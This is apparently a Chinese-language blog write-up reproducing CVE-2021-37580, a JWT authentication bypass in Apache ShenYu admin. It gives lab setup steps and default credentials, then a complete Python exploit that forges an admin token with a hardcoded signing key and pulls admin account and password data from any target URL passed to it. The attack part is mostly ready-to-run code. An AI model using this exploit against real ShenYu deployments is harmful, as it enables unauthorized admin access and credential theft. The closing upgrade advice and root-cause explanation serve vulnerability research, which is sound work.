Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现
- 漏洞名称
- 漏洞描述
- 影响版本
- 漏洞复现
- 环境搭建
- 漏洞利用
- 修复建议
- 总结
Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现)
漏洞名称
漏洞描述
Apache ShenYu是一个异步的,高性能的,跨语言的,响应式的API网关,Apache ShenYu功能十分强大且易于扩展,支持各种语言的http协议,同时支持Dubbo、 Spring Cloud、 gRPC、 Motan、 Sofa、 Tars 等协议。2021年11月,Apache ShenYu被爆出存在身份认证绕过漏洞,攻击者可以通过该漏洞绕过JWT(JSON Web Token)安全认证机制,直接进入系统后台。
影响版本
Apache ShenYu 2.3.0
Apache ShenYu 2.4.0
漏洞复现
环境搭建
受害者IP:192.168.63.129:9095
攻击者IP:192.168.63.1
docker直接拉取环境
docker pull apache/shenyu-admin:2.4.0
docker network create shenyu
docker run -d -p 9095:9095 --net shenyu apache/shenyu-admin:2.4.0
环境启动后,访问http://192.168.63.129:9095即可看到一个shenyu页面,说明已成功启动,使用admin/123456登录系统。
漏洞利用
创建一个wahaha/wahaha,权限为default,使用刚创建的用户登录系统。
显示登录用户的角色未配置菜单权限
使用burp抓包,在响应体中返回了token。
更改请求路径为/dashboardUser,并在请求头加入X-Access-Token字段,成功返回admin的账户和密码。
X-Access-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IndhaGFoYSIsImV4cCI6MTcwMzE0MTE1Nn0.Y0U14VyZ0aQ32Y-YX9tz7LF3qCD_R5GPxP563BOUDEs
如果没有获取到普通用户的token,可以使用脚本生成admin的token,成功获取信息。
pip install PyJWT
python cve-2021-37580.py http://192.168.63.129:9095
import time
from jwt import PyJWT
if __name__ == "__main__":
headers = {
"alg": "HS256",
"typ": "JWT"
}
salt = "2095132720951327"
exp = int(time.time())
payload = {
"userName": 'admin',
"exp": exp
}
token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)
print(token)
完整的EXP:
import requests
import re
import time
from jwt import PyJWT
def generateToken():
headers = {
"alg": "HS256",
"typ": "JWT"
}
salt = "2095132720951327"
exp = int(time.time())
payload = {
"userName": 'admin',
"exp": exp
}
token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)
return token
if __name__ == "__main__":
import sys
try:
url=sys.argv[1]
except:
print("Usage: %s http://www.baidu.com")
exit(0)
if isinstance(url,str):
url1 = url + '/dashboardUser'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0',
'X-Access-Token': generateToken()
}
try:
response = requests.get(url1, headers=headers, verify=False, timeout=3).json()
print(response)
except:
print("没有该漏洞")
修复建议
1、升级至最新版本
https://shenyu.apache.org/download/
总结
payload的意思是使用了一个JWT令牌(X-Access-Token)
,对其进行Base64解码可得到攻击者尝试的用户为 "userName": "admin"
。由于服务端在使用JWT的时候,也没有校验key,导致任意能解码的JWT,并且只要用户(userName的值)存在,都能通过校验。如果攻击成功,在响应头中返回的状态码为200,且在响应体中返回"query success"、"userName":""、"passwprd":""
字样。